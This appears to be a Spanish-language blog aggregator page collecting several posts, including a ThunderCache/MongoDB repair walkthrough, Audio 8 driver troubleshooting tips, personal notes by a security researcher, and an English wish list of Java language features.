desde Blog tech-nico.com por soporte

Desde hace un tiempo que estoy intentando instalar ThunderCache en Ubuntu Server 11.04 64bits. La cuestión es que siempre que finalizaba la instalación se rompía algo, y perdía el el acceso por web al ThunderCenter. A muchos les ha pasado luego de instalar las actualizaciones o bien hacer upgrade a las versiones mas nuevas.

Mas en detalle
Luego de terminar con la instalación de ThunderCache (bin 846) con ThunderCenter 3.4.4 hay que ingresar a http://ipthunder:82     usuario: admin     password:admin

La primer pantalla es la de configuración, algo como:

 

Al presionar en <Confirm> nos obliga a reiniciar el servidor. La gran sorpresa es que luego del reinicio, no podemos ingresar mas por web. Si bien la IP responde, el apache no!!.

Mirando en el log del apache nos vamos a encontrar con este error:

# tail /var/log/apache2/error.log

Uncaught exception ‘MongoCursorException’ with message ‘getFile(): bad file number value (corrupt db?): run repair’ in /usr/local/tcenter/www/index.php:15\nStack trace:\n#0 /usr/local/tcenter/www/index.php(15): MongoCollection->findOne(Array)\n#1 {main}\n thrown in /usr/local/tcenter/www/index.php on line 15

Para resolverlo seguimos estos pasos:

1 #  /etc/init.d/thunder restart
2 #  apache2ctl stop
3 #  /etc/init.d/mongo stop
4 #  /etc/init.d/mongodb stop
5 #  mongod --dbpath /var/lib/mongodb --config /etc/mongodb.conf --repair
6 #  chown mongodb  /var/lib/mongodb -R
7 #  /etc/init.d/mongodb start
8 #  apache2ctl start

El funcionamiento es impresionante, realmente vale la pena instalarlo en redes grandes.

Las Barras de progreso en verde son descargas de objetos cacheados. Y las azulcitas son objetos que esta almacenando en el cache.

Que tengan unas muy felices fiestas!
______________________
Nicolas tech-nico.com/blog

Native instrument Audio 8 DJ | micro cortes y ruidos raros

desde Blog tech-nico.com por soporte

Esto va para todos aquellos que sufren problemas con la placa Audio 8 y Traktor.
El problema esta en los drivers que son bastante inestables, probé:

  • 3.0.1
  • 3.0.0
  • 2.9.8 beta (ya no están mas en el sitio de NI)
  • 2.0.15
Y para mi sorpresa los únicos que reproducen sin micro pausas en el audio son casi los mas viejos, la version 2.0.15; pero tampoco son perfectos. En mi caso se escuchan unos pequeños ruidos aleatorios, son ruidos bastante sutiles pero en fin ruidos que no debería hacer por el valor del equipamiento. Hoy encontré ademas algunos tips interesantes en el foro oficial de Native Instrument, que consisten en modificar la prioridad de los IRQ (interrupciones) para dar prioridad al IRQ10 que es la interrupción que maneja la parte de audio. También es conveniente desactivar interfaces Wireless, Ethernet, Bluethoot. Usar la Notebook con el mayor rendimiento posible de energía. (No usar dispositivos USB innecesarios). Etc.
A continuación, editar el registro para Windows 7 o Vista
1. Ir a Inicio -> Ejecutar -> Escribir "Regedit" (sin comillas) -> Press Enter

Esto abrirá el registro

2. Ahora en la izquierda del Regedit muévase hasta: 

HKEY_LOCAL_MACHINE\SYSTEM\Curr entControlSet\Control\Priority Control

Aquí debería ver 2 filas: "Predeterminado" y "Win32PrioritySeparation"

3. Click derecho en el area blanca de la derecha y click en

Nuevo -> Valor de DWORD (32-bit) |  (como podrás ver)

Ahora veras una nueva fila!

4. Click derecho en esta nueva fila y elegir renombrar.

Renombrar como "IRQ10Priority" sin comillas (escribir Exactamente como esta!)

Presionar <Enter>.

5. Ahora que lo has renombrado, hacer doble click en este y veras una área de texto con el valor 0 en su interior.  

Cambiar el 0 por 1, <dejar el resto igual, y click en ACEPTAR>

6. Cierre el registro y reinicie la computadora!
Luego en el administrador de dispositivos, hay que destildar una opcion en los puertos USB, haciendo doble click en cada dispositivo llamado “Controlador raíz USB”.
Nos movemos a la solapa “Administración de Energía” y finalmente destildar la opción ”Permitir que el equipo apague este dispositivo para ahorrar energía“.
Todavía sigo con esos pequeños ruidos. Espero que alguien tenga un tip para eliminarlos o bien salga un driver como la gente. :P . Eso fue todo amigos.
Que tengan una muy Feliz Navidad y prospero año nuevo!!!_____________________
Nicolas tech-nico.com/blog 

Que llore

desde aurelianito por aurelianito (noreply@blogger.com)

El plagio es la forma más sincera de halago

desde aurelianito por aurelianito (noreply@blogger.com)
Hoy salió la versión 4.0 de bindiff, y le incluyeron un feature que se llama "Combined visualization of two flowgraphs" que se parece mucho a lo que presenté en Hack.lu 2010 (y que presenté anteriormente en este blog). De todas maneras, me parece que les faltó ir hasta el fondo y unir cada par de basic-blocks en uno solo (si alguien de Zynamics ve este blog, miren mi paper para ver cómo hacerlo).

Happy hacking,
Aureliano.

RT @FreshBrewedCode: Posted: BackboneJS modular app using RequireJS http://t.co/ZiVfFPiw

netFlux
RT @FreshBrewedCode: Posted: BackboneJS modular app using RequireJS http://t.co/ZiVfFPiw

Un día bizarro

desde aurelianito por aurelianito (noreply@blogger.com)
Ayer fue un día bizarro. A la mañana participé de la grabación de un programa del History Channel que se llama "Super Humanos" o algo así. En el mismo estuve con 2 amigos evaluando a Jaime García Serrano, que calculó raíces cuadradas, logaritmos, funciones trigonométricas, las inversas de las trigonométricas y factoriales, mientras nosotros teníamos que decir si lo calculaba bien o no, mirando los resultados en una compu.
Salí corriendo porque a la tarde tenía otro compromiso. A las 14.15 tenía turno para que me saquen una muela de juicio. Me sacaron la muela y ahora estoy tomando antibióticos y analgésicos, y el helado es mi principal alimento.
A la noche fui a La Glorieta, donde bailé algunos tangos y me encontré con amigos.
Al final, me fui a dormir.
PD: Me dijeron que el programa sale en abril.

A christmas wish list for Java

desde Koderama's Blog por alejandro

Since we are in Christmas times, I appealed to my inner child and I wrote a wish list for Java.

It’s mainly inspired on my knowledge of other languages like Python, Scala or Ruby and on the things I know will be useful for a lot of people.

The Initial list just includes things that won’t affect too much back compatibility.

  1. Closures. Probably the top item for many people. Imagine if you would be able to do something like:
    int total = listOfIntsAsString.map({String s => Integer.parseInt(s)}).reduce({ int x, int y => x + y })
    

    Things like that will be only possible with closures. And the power of it is enormous, not to mention the amount of boilerplate saved.

  2. Named parameters with default values. This is very common in other languages (Python, Scala, etc) and will simplify the creation of complex APIs.
  3. Improve the collections library with method like: map, reduce, filter, fold, etc. There are some libraries to do it. But, collections are part of everyday work and these abstractions are very powerful and useful.
  4. Better Date/Time support. just copy Joda time to java.lang.XXXX!! I can’t still believe that date is mutable.
  5. Make the semicolon optional. Yes, probably not that important… but, do we need it?
Some additional “hardcore” stuff:
  1. Mixins. If you are familiar with Ruby or Scala you understand how powerful this can be. Wisely used, it leverages cohesion and code reuse.
  2. Make fields and parameters final as default. Static analysis tools, book, etc will encourage you to write immutable objects and, in the case of the parameters, make them final.
    So, why we should not set it by default?
  3. Remove definition/initialization verbosity. E.g.:
    final StringBuilder builder = new StringBuilder();
    to
    val builder = new StringBuilder()
    

    Basically avoid to repeat the information that is already present.

  4. Make classes and methods public by default. If you think that this is wrong, please go and count how many classes of your system are public. Is the answer is more than 50%, you should reconsider (I’d expect most of your classes to be public).
These ones might require major changes and probably affect some how back compatibility.
Well, that’s all for now. I saved some things like changing generics to be reified. This is a major factor and probably won’t ever happen.
You can add your items to the list! Who knows, maybe Santa talks with Oracle about it!!

Construido con Eco v0.1